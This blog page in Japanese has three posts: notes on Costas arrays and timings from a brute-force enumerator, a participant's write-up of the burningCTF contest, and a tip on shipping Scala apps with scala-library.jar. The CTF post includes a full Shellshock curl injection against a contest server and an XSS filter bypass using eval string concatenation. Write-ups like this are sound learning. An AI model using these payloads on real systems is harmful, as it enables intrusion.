Hatena::ブログ(Diary)

総合的な学習のお時間 RSSフィード

2016-02-20

[] Costas Array Problem 01:14  Costas Array Problemを含むブックマーク

コスタス配列問題、というのを知った。

https://en.wikipedia.org/wiki/Costas_array

「A review of Costas arrays」

http://www.hindawi.com/journals/jam/2006/026385/abs/


コスタス配列とは


サイズNのコスタス配列とは、長さがNの配列 f であって、以下の条件を満たすものをいう。

  • f は [0, 1, ..., N-1] のpermutationである
  • D_l = { f[i + l] - f[i] | 0 <= i < N - l } としたとき、D_l の要素はdistinctである、が全ての l(1 <= l < N) で成立する

たとえば、N=4としたとき、

  • f = {0, 1, 3, 2} はコスタス配列
  • f = {2, 0, 3, 1} は D_1 = {-2, 3, -2} なのでコスタス配列ではない

コスタス配列であるための条件を幾何的に表すと、

「N*Nの二次元グリッド上にN個の点を配置する。どの行にもどの列にも点は1つ。点から点へのベクトル(N(N-1)/2個ある)を考えたとき、すべてのベクトルは互いに異なる」

ということになる。


上記のN=4の例をそれぞれグリッド的に書くと次のようになる、

コスタス配列
■□□□
□■□□
□□□■
□□■□

コスタス配列でない
□□■□
■□□□
□□□■
□■□□

コスタス配列を列挙する


これまでのところ、N<=29 のコスタス配列が全列挙されている。

N=29 が計算されたのは2011年。CPU時間366.55年分、実時間230日かけたそうな。

「Results of the enumeration of Costas arrays of order 29」

http://www.aimsciences.org/journals/displayArticlesnew.jsp?paperID=6376


列挙のために使った手法は、N=28 を全列挙した論文にいろいろ書かれているみたい(まだ読んでない)。

http://eeme.ucd.ie/~kdrakaka/work/publications/047.The_Enumeration_of_Costas_Arrays_of_Order_28_and_Its_Consequences.pdf


Nごとのコスタス配列の個数を表す数列は、OEISにある。

https://oeis.org/A008404


この分野の大家だったらしい Konstantinos Drakakis 氏のサイト

http://eeme.ucd.ie/~kdrakaka/indexen.htm

(2011年以降は研究から引退して金融ビジネスやってるっぽい)



問題


未解決な問題がいろいろある。

「Open Problems in Costas Arrays」

http://arxiv.org/pdf/1102.5727.pdf


一番わかりやすいのが、「サイズNのコスタス配列の数を C(N) としたとき、すべてのNで C(N) > 0 か?」。

現在、コスタス配列が存在するかどうか確かめられていない最小のNは32。

2014年に東大で「スパコン24時間回したら N=32 で1つくらい見つかるんじゃないの」ということで試したが、見つからなかったとのこと。

http://www.cc.u-tokyo.ac.jp/support/press/news/VOL17/No1/11_201501hpc-2.pdf


N=素数-1 とか N=素数の累乗-2 とか、特定のNについてはコスタス配列を生成するアルゴリズムがある。

知られているアルゴリズムによって生成できないCostas Arrayは、"sporadic" と呼ばれて珍重(?)されている。


OEISにある C(N) の数列を見てみるとだんだん小さくなっているので、C(N) は0に近づきそうな気もするが、

C(N) のオーダーについて分かっているのは、C(N)/N! = O(1/N) であることくらいらしい。


実装してみた


自分でも、コスタス配列を列挙するプログラムを簡単に作ってみた。


まず、ナイーブに N! 通りのpermutationを作ってそれぞれ条件をチェックする方法だと、手元で実行する気になるのはN=13くらいまで(実行環境は Macbook Air 2012 2.0GHz Core i7)。

https://github.com/tomerun/CostasArray/blob/c277f15da4591ac9e685dcd0fcd509d67cdd0e8e/main.cpp

$ time ./solver 10
ans_count:2160

real	0m0.172s
user	0m0.166s
sys	0m0.003s

$ time ./solver 11
ans_count:4368

real	0m2.286s
user	0m2.282s
sys	0m0.003s

$ time ./solver 12
ans_count:7852

real	0m31.387s
user	0m31.292s
sys	0m0.032s

$ time ./solver 13
ans_count:12828

real	7m2.614s
user	7m1.114s
sys	0m0.513s

自明な枝刈り(permutationを作る途中で都度条件チェックしてviolateしたら枝刈り)を足すと、N=15くらいまではいける。

https://github.com/tomerun/CostasArray/blob/2db147b220e9e68436e26b4cb862993b2c3b91ef/main.cpp

$ time ./solver 10
ans_count:2160

real	0m0.034s
user	0m0.026s
sys	0m0.003s

$ time ./solver 11
ans_count:4368

real	0m0.143s
user	0m0.138s
sys	0m0.003s

$ time ./solver 12
ans_count:7852

real	0m0.781s
user	0m0.776s
sys	0m0.003s

$ time ./solver 13
ans_count:12828

real	0m4.223s
user	0m4.213s
sys	0m0.008s

$ time ./solver 14
ans_count:17252

real	0m22.039s
user	0m22.014s
sys	0m0.016s

$ time ./solver 15
ans_count:19612

real	2m0.588s
user	2m0.299s
sys	0m0.113s

どこまで高速にできるようになるかな。

トラックバック - http://d.hatena.ne.jp/tomerun/20160220

2016-02-11

[] burningCTF 17:45  burningCTFを含むブックマーク

burningCTF(場阿忍愚CTF) に参加していたので簡単に参加記を書きます。

始めたのが遅くてバイナリやSQL Injectionをまじめにやる時間が取れなかったのが心残りですが、

これをきっかけに他のCTFでその手の問題に積極的に取り組んでいきたいです。


111 芸術 ワットイズディス?

ヒントから勘で


112 芸術 cole nanee?

ヒントから勘で


113 芸術 Lines and Boxes

ヒントの「日本人には読みにくい漢字」というところから Electroharmonix を想像した。

フォントの文字と見比べながら解読


115 芸術 毎日使う

まったく読めないので、総画数が8画や9画の漢字を全列挙してそれっぽい字を目grepしたが見つからなかった。正解は10画だった…

画数で絞れば漢字ってどうせ数百個しかないので、方針としては悪くなかったと思うが


121 二進術 壱萬回

スクリプトで処理させた

https://github.com/tomerun/CTF/blob/master/burningCTF/121.rb


131 解読術 image level 5

ファイル名でググったら数字のMD5値だということがわかった


132 解読術 Ninjya Crypto

「忍者 暗号」で検索


133 解読術 Decrypt RSA

opensslを使って鍵の情報を見ると640bitだったので、「RSA 640bit」で検索

https://en.wikipedia.org/wiki/RSA_numbers#RSA-640 が出てきて、鍵はここに載っているものと同じだった

http://yuppy.hatenablog.com/entry/2015/09/30/010803 を参考に秘密鍵を生成してデコードさせた


151 解析術 Doubtful Files

展開して.vbsをひとつずつ実行したら、8.vbsだけ実行できない

展開前のファイルをバイナリエディタで見ると、「Zone Identifier」という文字列が見える。特に、8.vbsと7.infだけその領域が長い

http://www.atmarkit.co.jp/ait/articles/1407/11/news111.html を参考に more < 7.inf:Zone.Identifier などするとBase64文字列が出てきたのでデコードしておしまい


152 解析術 情報漏洩

サイズが大きなパケットを覗くとPNGのヘッダが見えたので取り出す


153 解析術 Speech by google translate

データのバイト数を示すフィールドの値が小さかったので伸ばすと全部聞ける

つい先日のBreak in CTFでも似たようなことをやっていたのですぐにわかった


154 解析術 Cool Gadget

stringsコマンドにかけるのをサボっていたのでremovemeが見つけられなかった

aes-128-cbcは見つけたのだが

あと、exifはMacのプレビュー.appでてっきり見れるのかと思っていたけど、(少なくともこのファイルに関しては)見えないことを知った


161 電網術 ftp is not secure.

pcapファイルをstringsにかけるとBase64の文字列が出てくるので復号


162 電網術 ベーシック

Wiresharkで開いたらユーザー名とパスワードが見える


164 電網術 Japanese kids are knowing

nmapでポートスキャンして空いているポートにアクセスすると <C-D-...> みたいな文字列が降ってきて、

ヒントから楽譜だと思って見てみると、かえるの歌だった


171 諜報術 KDL

Internet Archive


172 諜報術 Mr. Nipps

twilogで該当の時間のtweetをみつけてTwitter APIで位置情報を取得

最初InstagramのAPIを使おうとしていて、アクセス制御関連でうまく使えなくて困っていた(山寺社長をテストアプリへ招待して許可してもらうゲームなのかと)


173 諜報術 Akiko-chan

画像で検索してwordpressを追加キーワードに入れる


174 諜報術 タナカハック

site:yamatosecurity.com でググるとPDFがいくつか見つかるのでその作成者を見る


175 諜報術 タイムトラベル

いっぱいググった。

「2013/9 "50.115.13.104"」 で https://www.robtex.net/?dns=50.115.13.104 が見つかった


181 記述術 search_duplicate_character_string

「duplicateなL文字のsubstringがある」のLを二分探索

1回のチェックはローリングハッシュを使って(ハッシュの衝突を無視すれば)O(N)で済むので、全体の計算量はO(N logN)

https://github.com/tomerun/CTF/blob/master/burningCTF/181.cpp


182 記述術 JavaScript Puzzle

一見やばそうだが冷静に考えると難しくない


183 記述術 Count Number Of Flag's SubString!

後ろの方で使える文字の中に '=' がないことから "flag=" の結果は必ず1になるので、前から1文字ずつ決める

https://github.com/tomerun/CTF/blob/master/burningCTF/183.rb


184 記述術 解凍?

ある程度手でやって出くるパターンを掴んでからスクリプト化

https://github.com/tomerun/CTF/blob/master/burningCTF/184.rb


185 記述術 Make sorted Amida kuji!!

枝刈り探索

数列の反転数以上の橋を架けないといけないことを利用して枝刈りすると一瞬で答えが出る

フラグを求める部分はJavascriptを移植して計算させた

https://github.com/tomerun/CTF/blob/master/burningCTF/185.cpp


191 超文書転送術 GIFアニメ生成サイト

/movies/view/N のNを1から順にアクセスしたら、50番あたりで運営が作ったっぽい思わせぶりなGIFアニメがたくさんあったので、

きっとこれを解析するのだろうと思って頑張って見ていたが大ハズレだった


192 超文書転送術 Network Tools

ヒントからSHELLSHOCKで攻撃することがわかる

http://www.walbrix.com/jp/blog/2014-09-bash-code-injection.html

このあたりを参考に、 curl -A "() { :;}; /bin/bash -c 'cat flag.txt'" -F "cmd=arp" -F "option=" http://210.146.64.37:60888/exec


193 超文書転送術 箱庭XSS

全部大文字に変換されるようだったので、アルファベット小文字を使わずにalertさせるというゲームなのだと理解する

まず8進数やUTF32で文字を埋め込む記法を試したけど動かなかった

そこで、記号プログラミングでalertを出すコードを http://perl-users.jp/articles/advent-calendar/2010/sym/3 から拝借して利用した


197 超文書転送術 箱庭XSS 2

最初、aタグのhref属性にjavascriptスキームを書いて、ユーザー名をクリックしたらalertが出るようにしたのだけど、何も起きなかった

alertで出力する文字列を、全HTML要素の全属性を連結したものにしてみたら、"alert"という文字列が削除されていることがわかった

あとは <script>eval("al" + "ert(1);");</script>


201 兵法術 将棋詰め壱/203 兵法術 将棋詰め参/204 兵法術 将棋詰め四

普通の詰め将棋だったのでびっくりした


202 兵法術 将棋詰め弐

普通の詰め将棋のはずがないと思って見ていたので、数字が入れ替わっているのはすぐにわかった

トラックバック - http://d.hatena.ne.jp/tomerun/20160211

2013-12-15

[]Scalaアプリケーションを配布する 08:00 Scalaアプリケーションを配布するを含むブックマーク

Scalaのコードをコンパイルすると.classファイルができるが、これをjavaコマンドで実行するとNoClassDefFoundErrorになる。


$ cat Test.scala
object Test {
  def main(args: Array[String]){
    println("Hello, World!")
  }
}
$ fsc Test.scala
$ java Test
Exception in thread "main" java.lang.NoClassDefFoundError: scala/Predef$
	at Test$.main(Test.scala:3)
	at Test.main(Test.scala)
Caused by: java.lang.ClassNotFoundException: scala.Predef$
	at java.net.URLClassLoader$1.run(URLClassLoader.java:366)
	at java.net.URLClassLoader$1.run(URLClassLoader.java:355)
	at java.security.AccessController.doPrivileged(Native Method)
	at java.net.URLClassLoader.findClass(URLClassLoader.java:354)
	at java.lang.ClassLoader.loadClass(ClassLoader.java:424)
	at sun.misc.Launcher$AppClassLoader.loadClass(Launcher.java:308)
	at java.lang.ClassLoader.loadClass(ClassLoader.java:357)
	... 2 more
$ 

実行にはscala-library.jar(その他 scala-swing.jar などのライブラリも必要に応じて)が必要。


自分の環境ではScalaはhomebrewでインストールしているので、これらのjarは /usr/local/Cellar/scala/2.10.3/libexec/lib/ にあった。


$ SCALALIB=/usr/local/Cellar/scala/2.10.3/libexec/lib 
$ ls $SCALALIB
akka-actors.jar			scala-actors.jar		scala-reflect.jar
diffutils.jar			scala-compiler.jar		scala-swing.jar
jline.jar			scala-library.jar		scalap.jar
scala-actors-migration.jar	scala-partest.jar		typesafe-config.jar
$ java -classpath .:$SCALALIB/scala-library.jar Test
Hello, World!
$ 

Scalaで作ったアプリケーションを他の人に渡すときは、scala-library.jarを同梱して、クラスパスを設定して起動するスクリプトを付けることになるだろう。


scala-library.jarの配布ライセンスは、Scala Licenseを付けておけば良い?

http://www.scala-lang.org/old/node/401 (2008年の情報)

トラックバック - http://d.hatena.ne.jp/tomerun/20131215